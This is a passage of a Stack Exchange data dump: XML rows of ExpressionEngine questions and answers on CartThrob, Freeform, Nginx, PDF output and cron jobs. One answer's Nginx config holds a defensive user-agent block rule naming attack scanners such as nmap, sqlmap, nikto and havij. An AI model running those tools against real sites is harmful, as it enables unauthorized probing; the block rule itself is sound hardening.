  <row Id="19180" PostTypeId="1" AcceptedAnswerId="19345" CreationDate="2014-02-06T19:22:34.420" Score="0" ViewCount="187" Body="&lt;p&gt;I'm using CT. When a customer checks out they are required to select a location for where they want to pickup their order. I would like to save both the location's ID and the location's pickup date to custom fields that I'v set on the orders channel. Currently, when a customer selects a location from the select menu the location ID is submitted along with the form. I've written an extension that looks for the cartthrob_on_authorize hook. It allows me to get the location ID from the custom field and run a query to get the location date. My question is, how do I save the location date to the order through my extension? I've tired various combinations like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;ee()-&gt;cartthrob-&gt;cart-&gt;order-&gt;set_custom_data('order_pickup_date', $pickup_date)&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but nothing like that seems to work. Any help is much appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2014-02-12T00:43:37.703" Title="Manipulate custom order data with CT hook during checkout" Tags="|cartthrob|hook|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19181" PostTypeId="1" CreationDate="2014-02-06T19:31:36.120" Score="1" ViewCount="76" Body="&lt;p&gt;I am trying to create a custom &quot;download to csv&quot; form for specific forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The radio buttons are saved in the db as &#xA;287|~|Person 1, 290|~|Person 2, 296|~|Person 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a custom download to csv form because I only want users to be able to download specific forms, not all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I need to use $this-&gt;multi_item_values($array)&#xA;but I'm pulling my dat from a query and the code below is not working&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $editors = $results-&amp;gt;row('EDITORS');&#xA;        $updEditors = $this-&amp;gt;multi_item_values($editors);   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I echo $updEditors, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method EE_Functions::multi_item_values() in /www/eh14243/apps_html/ctrl/expressionengine/libraries/Functions.php(679) : eval()'d code on line 97&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help or pointing me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastEditorUserId="1469" LastEditDate="2014-02-06T20:29:30.803" LastActivityDate="2014-02-06T20:29:30.803" Title="custom export freeform data with radio buttons" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19182" PostTypeId="1" CreationDate="2014-02-06T20:13:04.120" Score="2" ViewCount="36" Body="&lt;p&gt;I'm on Assets 2.2.2. Today it told me to update so I clicked the update button. This happened:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1146&#xA;Table 'db509793644.exp_assets' doesn't exist&#xA;UPDATE exp_assets SET file_path = REPLACE(file_path, &quot;}/&quot;, &quot;}&quot;)&#xA;Filename: third_party/assets/upd.assets.php&#xA;Line Number: 298&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in Add-ons -&gt; Modules I get @@@VERSION@@ as the version. No clue on this one...&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2014-02-10T23:43:24.427" Title="Assets randmonly asked me to update without me updating" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19183" PostTypeId="2" ParentId="19134" CreationDate="2014-02-06T20:35:52.817" Score="2" Body="&lt;p&gt;According to the docs, you can have a selection option that uses different returns. &#xA;(Source: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/&lt;/a&gt; ) Here's their example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;return&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;application_form/thank_you&quot;&amp;gt;&#xA;        I will pay at the door&#xA;    &amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;application_form/payment&quot;&amp;gt;&#xA;        I will pay now&#xA;    &amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can move the return out of the {exp:freeform:form} tag and into the body of the form. I'd like make the field a hidden field, and then use some javascript to set the option value based upon the selection... &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-02-06T20:35:52.817" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19184" PostTypeId="1" AcceptedAnswerId="19234" CreationDate="2014-02-06T20:38:45.997" Score="2" ViewCount="82" Body="&lt;p&gt;I'm running out of ideas on how to debug this, hoping someone has some knowledge to share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working on a site locally with EE, Exp-resso Store and Matrix/Matrix Multi-Upload. All plugins are current, as is the EE install (currently 2.7.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm rebuilding a site, and I planned to move the new site to a subdirectory of the old site for remote access, testing, QA, etc. There were issues with the old site's back-end (among many other things). Details below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While working local, I've run into no issues. However, today after moving the site successfully to the server, I'm seeing issues in the back-end. These seem to specifically relate to the Matrix plugin (it may not be Matrix's fault, but it's being affected) and the Template Manager. All of these issues were present on the old site. Apart from sharing a server and a database, the two builds are separate. Separate database entries, CSS files, JS, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dreamhost is the server. PHP 5.4. Possible FastCGI issue? I'm out of ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Console is giving me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Object [object Object] has no method 'ee_focus'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/19cGi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2678" LastEditorUserId="2678" LastEditDate="2014-02-06T20:57:21.887" LastActivityDate="2014-02-07T20:44:37.133" Title="Fresh migration, functioning locally, backend issues (Template Manager, Matrix)" Tags="|matrix|admin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19185" PostTypeId="1" AcceptedAnswerId="19452" CreationDate="2014-02-06T20:44:59.937" Score="1" ViewCount="5005" Body="&lt;p&gt;I'm getting the error message, &quot;The transaction was refused as a result of a duplicate invoice ID supplied. Attempt with a new invoice ID&quot; when I try to process credit card payment through a PayPal Pro sandbox account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are invoice id generated in Exp-resso Store?&lt;/p&gt;&#xA;" OwnerUserId="1329" LastEditorUserId="1329" LastEditDate="2014-02-06T22:42:36.993" LastActivityDate="2014-02-14T04:49:26.523" Title="Paypal error: &quot;Duplicate invoice ID supplied. Attempt with a new invoice ID&quot;" Tags="|expresso-store|paypal|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19186" PostTypeId="2" ParentId="13889" CreationDate="2014-02-06T20:46:00.213" Score="0" Body="&lt;p&gt;You could add a general check against all the possible errors at once. Something like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:error:name1 OR freeform:error:name2 OR freeform:error:name3 }&#xA;   &amp;lt;div class=&quot;generalerror&quot;&amp;gt;&#xA;     Please make sure all the appropriate fields below are filled incorrectly.&#xA;     (or other generic message here)&#xA;   &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then include your regular inline errors below. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-02-06T20:46:00.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19187" PostTypeId="2" ParentId="19141" CreationDate="2014-02-06T20:50:10.810" Score="2" Body="&lt;p&gt;In Store 1.x, the modifiers array is stored as a base64 encoded, serialized PHP array. To decode it, you need to use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$modifiers = unserialize(base64_decode($str));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Store 2, the modifiers array is simply stored as JSON. This makes life much easier. To decode it into a PHP array, simply use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$modifiers = json_decode($str, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-06T20:50:10.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19188" PostTypeId="2" ParentId="19113" CreationDate="2014-02-06T20:53:46.090" Score="1" Body="&lt;p&gt;Your assumption is correct. &quot;Free Shipping&quot; products do not contribute to the total weight used for shipping calculations, but if you have at least one non-free shipping item in your cart, then there will still be a shipping cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not possible to trigger that rule (one free shipping item makes whole cart free shipping) using the built in methods. You would therefore need to write an extension (or custom shipping method) which checks for any item in the cart, before adjusting the shipping cost to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension hook you would need to use is &lt;code&gt;store_order_shipping_methods&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#shipping_hooks&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/extension_hooks.html#shipping_hooks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-06T20:53:46.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19189" PostTypeId="1" CreationDate="2014-02-06T22:01:45.120" Score="3" ViewCount="1071" Body="&lt;p&gt;I'm just wondering if there are certain guidelines to bear in mind if you want to ensure an EE site stays fast. What typically are the things that slow down an ExpressionEngine installation? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does the number of entries in the system have a large impact?&lt;/li&gt;&#xA;&lt;li&gt;How about the number of global variables you've set (especially when using Low Variables excessively)?&lt;/li&gt;&#xA;&lt;li&gt;Does the number of addons in the third party directory play a role?&lt;/li&gt;&#xA;&lt;li&gt;What about a site that was upgraded from EE 1.xx? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I realise this is a lot of questions. I'm just trying to work out why one of my sites is way slower than the others (same hosting). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-02-07T15:59:35.700" Title="What typically are the things that slow down an ExpressionEngine installation?" Tags="|performance|" AnswerCount="2" CommentCount="3" ClosedDate="2014-02-07T19:02:22.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="19190" PostTypeId="2" ParentId="12971" CreationDate="2014-02-06T22:04:47.303" Score="0" Body="&lt;p&gt;So this turned out to be fairly simple in the end. You just need to add the data-validate attribute to the form tag using jquery or vanilla JavaScript. Works a treat. &lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-02-06T22:04:47.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19191" PostTypeId="1" AcceptedAnswerId="19297" CreationDate="2014-02-06T22:28:42.583" Score="1" ViewCount="463" Body="&lt;p&gt;I have used PDF Press to generate PDFs from data but somehow generated output is rendered ad text/html not PDF which looks like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;%PDF-1.3 1 0 obj &amp;lt;&amp;lt; /Type /Catalog /Outlines 2 0 R /Pages 3 0 R &gt;&gt;&#xA;  endobj 2 0 obj &amp;lt;&amp;lt; /Type /Outlines /Count 0 &gt;&gt; endobj 3 0 obj &amp;lt;&amp;lt; /Type&#xA;  /Pages /Kids [6 0 R ] /Count 1 /Resources &amp;lt;&amp;lt; /ProcSet 4 0 R /Font &amp;lt;&amp;lt;&#xA;  /F1 8 0 R &gt;&gt; &gt;&gt; /MediaBox [0.000 0.000 612.000 792.000] &gt;&gt; endobj 4 0&#xA;  obj [/PDF /Text ] endobj 5 0 obj &amp;lt;&amp;lt; /Creator (DOMPDF) /CreationDate&#xA;  (D:20140206173022-05'00') /ModDate (D:20140206173022-05'00') &gt;&gt; endobj&#xA;  6 0 obj &amp;lt;&amp;lt; /Type /Page /Parent 3 0 R /Contents 7 0 R &gt;&gt; endobj 7 0 obj&#xA;  &amp;lt;&amp;lt; /Length 74 &gt;&gt; stream 0.000 0.000 0.000 rg BT 34.016 746.579 Td /F1&#xA;  12.0 Tf [(test 123)] TJ ET endstream endobj 8 0 obj &amp;lt;&amp;lt; /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Times-Roman /Encoding&#xA;  /WinAnsiEncoding &gt;&gt; endobj xref 0 9 0000000000 65535 f 0000000008&#xA;  00000 n 0000000073 00000 n 0000000119 00000 n 0000000273 00000 n&#xA;  0000000302 00000 n 0000000416 00000 n 0000000479 00000 n 0000000603&#xA;  00000 n trailer &amp;lt;&amp;lt; /Size 9 /Root 1 0 R /Info 5 0 R &gt;&gt; startxref 712&#xA;  %%EOF&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have try to use that plugin &lt;a href=&quot;http://devot-ee.com/add-ons/http-header&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/http-header&lt;/a&gt; but I'm getting same result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With another test I have run from same hosting simple PHP code to generate PDF using FPDF and I'm able to render PDF. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this is a Virtuamin or Apache issue - neither would be forcing the HTTP header. More likely the header is being set twice in the script, perhaps once to the default of text/html and then again by add-on to application/pdf and EE force to use text/html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what can be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="197" LastEditDate="2014-02-10T18:16:06.910" LastActivityDate="2014-02-10T18:16:06.910" Title="ExpressionEngine and generating PDF issue" Tags="|add-on|plugin|pdf-press|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19192" PostTypeId="2" ParentId="19108" CreationDate="2014-02-06T22:40:46.003" Score="2" Body="&lt;p&gt;You can delete a rating using the &lt;code&gt;{exp:rating:delete}&lt;/code&gt; tag: &lt;a href=&quot;http://www.solspace.com/docs/rating/delete/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/rating/delete/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After deleting the rating, the user can try and rate again. That would be the &quot;unvote&quot;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-06T22:40:46.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19193" PostTypeId="2" ParentId="19112" CreationDate="2014-02-06T22:47:58.577" Score="1" Body="&lt;p&gt;You could use Solspace Favorites to build a list of event entries. Then, you could use this list to create a pipe-delimited string of favorite entry_ids and use that in the &lt;code&gt;event_id=&quot;&quot;&lt;/code&gt; parameter of &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; would then take care of putting events in chronological order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that you will be able to favorite event entries (i.e. the event entry created in the CP, which is used by Calendar to calculate occurrences), but not specific occurrences. For saving specific occurrences, maybe Freeform or Channel Forms could be used to store this kind of saved data.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-06T22:47:58.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19194" PostTypeId="2" ParentId="19189" CreationDate="2014-02-06T22:54:33.183" Score="1" Body="&lt;p&gt;I noticed myself that if else statements don't work like you think they do! Even if your if statement matches, also the code in the else part is executed. However you won't see the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into this problem and my site load time was about 3 seconds. I used the add on switchee ( &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt; ) which makes real if else statements. This sped up my site with almost 2.5 seconds, so now loading within 0.5-1 second!&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-02-06T22:54:33.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19195" PostTypeId="1" AcceptedAnswerId="19357" CreationDate="2014-02-06T23:00:33.977" Score="1" ViewCount="210" Body="&lt;p&gt;Having a problem with a CRON job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made my first subscription on our live site to recur every month. Then I went into the Subscriptions control panel and changed the subscription that I had just made to recur every day so that I could test it. After that I remembered that it needs to have a CRON job on the server so I set it up to use the first method using a shell script listed here: &lt;a href=&quot;http://cartthrob.com/docs/docs_subscriptions/#setting-up-rebilling&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/docs_subscriptions/#setting-up-rebilling&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up the CRON job to run every day at 6:00 AM. Then this morning I received an email with the following text in it: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CartThrob has noticed that your system folder path does not appear to&#xA;  be set correctly. Please open CartThrob's Extload file and update the&#xA;  URL: extload.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My system is above web root so I changed the &lt;code&gt;$system_path&lt;/code&gt; in extload.php to &lt;code&gt;$system_path = &quot;../system&quot;;&lt;/code&gt; which is relative to the &lt;code&gt;themes&lt;/code&gt; folder. Then I scheduled the CRON job to run a few minutes into the future to see if it would work. The time came and went and there were no new orders placed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then checked the subscription next billing date and it was set for today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I thought that perhaps I was using the wrong script for the CRON job so I changed it to method 3 trying PHP's &quot;passthru&quot; function and rescheduled to a few minutes into the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that was changed I was sent an email when it ran saying &quot;Permission Denied&quot;. So then I changed it back to method 1 using the shell script, reschedule, and waited for an order to be processed. Nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Authorize.net CIM for my payment gateway. Any idea what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running &lt;em&gt;ExpressionEngine 2.7.3&lt;/em&gt; with &lt;em&gt;CartThrob 2.5&lt;/em&gt; on &lt;em&gt;Media Temple GS&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1172" LastEditorUserId="1172" LastEditDate="2014-02-10T23:19:27.843" LastActivityDate="2014-02-12T05:07:38.457" Title="CRON job not working for subscription with CartThrob 2.5.3" Tags="|cartthrob|subscriptions|cron|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19196" PostTypeId="1" AcceptedAnswerId="19200" CreationDate="2014-02-07T03:59:17.697" Score="1" ViewCount="131" Body="&lt;p&gt;Firstly thanks for this handy plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to exclude the current year from my archive list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in 2014, my tag looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives channel=&quot;news&quot; end_year=&quot;2013&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet 2014 is listed...as is 2013 which is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few variations but no luck. Am I misunderstanding the documentation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to exclude the current year?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for all your EE extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CJ&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2014-02-07T09:26:58.070" Title="Low Yearly Archives: Exclude current year" Tags="|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19197" PostTypeId="1" CreationDate="2014-02-07T06:04:40.823" Score="-3" ViewCount="204" Body="&lt;p&gt;I need to upload an html file to my site in order to verify my site for a Pinterest Business account. I am new to expressionengine and have no idea how or where to do this. Any help or advice would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2717" LastActivityDate="2014-02-07T06:06:46.060" Title="How to upload HTML file for site verification" Tags="|file-uploads|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-21T16:33:50.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="19198" PostTypeId="2" ParentId="19197" CreationDate="2014-02-07T06:06:46.060" Score="2" Body="&lt;p&gt;1: create template with this html file name &amp;amp; content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: use ftp to upload file&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-07T06:06:46.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19199" PostTypeId="1" AcceptedAnswerId="19201" CreationDate="2014-02-07T09:21:19.573" Score="0" ViewCount="1859" Body="&lt;p&gt;Recently, I moved an EE site from Apache server to Nginx server. But there seems some issues while accessing any other page/link rather than HOME. Its showing only home page. I know that Nginx server does allow htaccess rules so I tested by with index.php on the same but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt;: EE Control Panel working perfect and I am using &lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot; rel=&quot;nofollow&quot;&gt;NSM Config Bootstrap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please help if have faced such an issue? I 'll highly appreciate your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-02-07T12:25:25.740" Title="ExpressionEngine on Nginx server" Tags="|nginx|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19200" PostTypeId="2" ParentId="19196" CreationDate="2014-02-07T09:26:58.070" Score="2" Body="&lt;p&gt;Two ways to go about this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Use a conditional&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives channel=&quot;news&quot;}&#xA;    {if year != '{current_time format=&quot;%Y&quot;}'}&#xA;        ...&#xA;    {/if}&#xA;{/exp:low_yearly_archives}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Use PHP on Input&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives channel=&quot;news&quot; end_year=&quot;&amp;lt;?=(date('Y')-1)?&amp;gt;&quot; end_month=&quot;12&quot;}&#xA;    ...&#xA;{/exp:low_yearly_archives}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-07T09:26:58.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19201" PostTypeId="2" ParentId="19199" CreationDate="2014-02-07T09:50:52.930" Score="4" Body="&lt;p&gt;What configuration you use? what rules you setup in your nginx configs? For example, I use next configuration for Nginx+PHP-FPM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server&#xA;{&#xA;    server_name www.example.com;&#xA;    return      301 $scheme://$host$request_uri;&#xA;}&#xA;&#xA;server {&#xA;    listen 80;&#xA;    server_name example.com;&#xA;&#xA;    #access_log  /dev/null;&#xA;    #error_log /dev/null;&#xA;&#xA;    access_log /home/www/example.com/log/example.com-access.log;&#xA;    error_log  /home/www/example.com/log/example.com-error.log info;&#xA;&#xA;    if ( $http_user_agent ~* (nmap|nikto|wikto|sf|sqlmap|bsqlbf|w3af|acunetix|havij|appscan) ) {&#xA;        return 403;&#xA;    }&#xA;&#xA;    root /home/www/example.com/public/;&#xA;&#xA;    client_max_body_size       20m;&#xA;    client_body_buffer_size    128k;&#xA;    client_body_temp_path      /var/nginx/client_body_temp;&#xA;&#xA;    location ~* \.(jpg|jpeg|gif|png|css|js|ico|xml)$ {&#xA;        access_log        off;&#xA;        log_not_found     off;&#xA;        expires           360d;&#xA;    }&#xA;&#xA;    location ~ /\. {&#xA;        access_log off;&#xA;        log_not_found off;&#xA;        deny all;&#xA;    }&#xA;&#xA;    location / {&#xA;        # the index directive checks first for &quot;index.html&quot; because&#xA;        # sometimes you need to rename &quot;offline.html&quot; to &quot;index.html&quot;&#xA;        # to take the site down during an update&#xA;        # if you can, move this to the HTTP level;&#xA;        index index.html index.php;&#xA;&#xA;        # accept URI without index.php&#xA;        try_files $uri $uri/ /index.php;&#xA;&#xA;        # Remove index.php&#xA;        rewrite    ^/index\.php(.*)    $1    permanent;&#xA;    }&#xA;&#xA;    # insensitive case on extension of PHP files&#xA;    location ~* \.php$ {&#xA;        # Zero-day exploit defense.&#xA;        # http://forum.nginx.org/read.php?2,88845,page=3&#xA;        # Won't work properly (404 error) if the file is not stored on this server, which is entirely possible with php-fpm/php-fcgi.&#xA;        # Comment the 'try_files' line out if you set up php-fpm/php-fcgi on another machine.  And then cross your fingers that you won't get hacked.&#xA;        try_files $uri =404;&#xA;&#xA;        expires off;&#xA;        fastcgi_pass unix:/dev/shm/php-fpm.sock;&#xA;        fastcgi_split_path_info ^(.+\.php)(.*)$;&#xA;        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;&#xA;        fastcgi_param MAGE_RUN_CODE default;&#xA;        fastcgi_param MAGE_RUN_TYPE store;&#xA;        include fastcgi_params;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="343" LastEditDate="2014-02-07T12:25:25.740" LastActivityDate="2014-02-07T12:25:25.740" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19202" PostTypeId="1" CreationDate="2014-02-07T10:18:54.720" Score="0" ViewCount="103" Body="&lt;p&gt;I'm importing a CSV of around 60 dogs using Datagrab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The import works fine but when I use Solspace Super Search, it seems to be ignoring the gender of the dog (a P&amp;amp;T dropdown field). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I resave the entry, it's fine, search works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't fathom whether this is a Super Search issue or a Datagrab issue. When I look at the field in the db after import, the value is definitely there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-02-07T11:54:38.613" Title="Datagrab import, P&amp;T dropdown not registering" Tags="|supersearch|datagrab|field-pack|csv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19203" PostTypeId="1" CreationDate="2014-02-07T10:19:08.837" Score="0" ViewCount="147" Body="&lt;p&gt;I am not sure if anyone can help me! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code to display a list of articles and it works, however there are two issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is the date of each article is the same for each list item, when it should be different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second issue is that if the relationships field is empty, I want to NOT display any code, including the H4 tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if there are NO related papers, nothing in the HTMl will show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a number of things, maybe I need to use entry id?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graham  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Related Papers --&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;Related Papers&amp;lt;/h4&amp;gt;&amp;lt;hr&amp;gt;&#xA;{exp:channel:entries channel=&quot;policy_papers&quot; status=&quot;open&quot; limit=&quot;10&quot;}&#xA;{pp_related_papers}&#xA;{if pp_related_papers:count == &quot;1&quot;}&#xA;&amp;lt;ul&amp;gt;&#xA;{/if}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=&quot;policy-papers/papers&quot;}/{pp_related_papers:url_title}&quot;&amp;gt;&amp;lt;h5&amp;gt;{pp_related_papers:title}&amp;lt;/h5&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;h6 class=&quot;entry-meta&quot;&amp;gt;by {pp_related_papers:pp_author_one} {if pp_related_papers:pp_author_two != &quot;&quot;}and {pp_related_papers:pp_author_two}{/if} | &amp;lt;time datetime=&quot;{entry_date format=&quot;%Y-%m-%dT%H:%i&quot;}&quot; pubdate&amp;gt;{date_heading}{entry_date format=&quot;%d %F 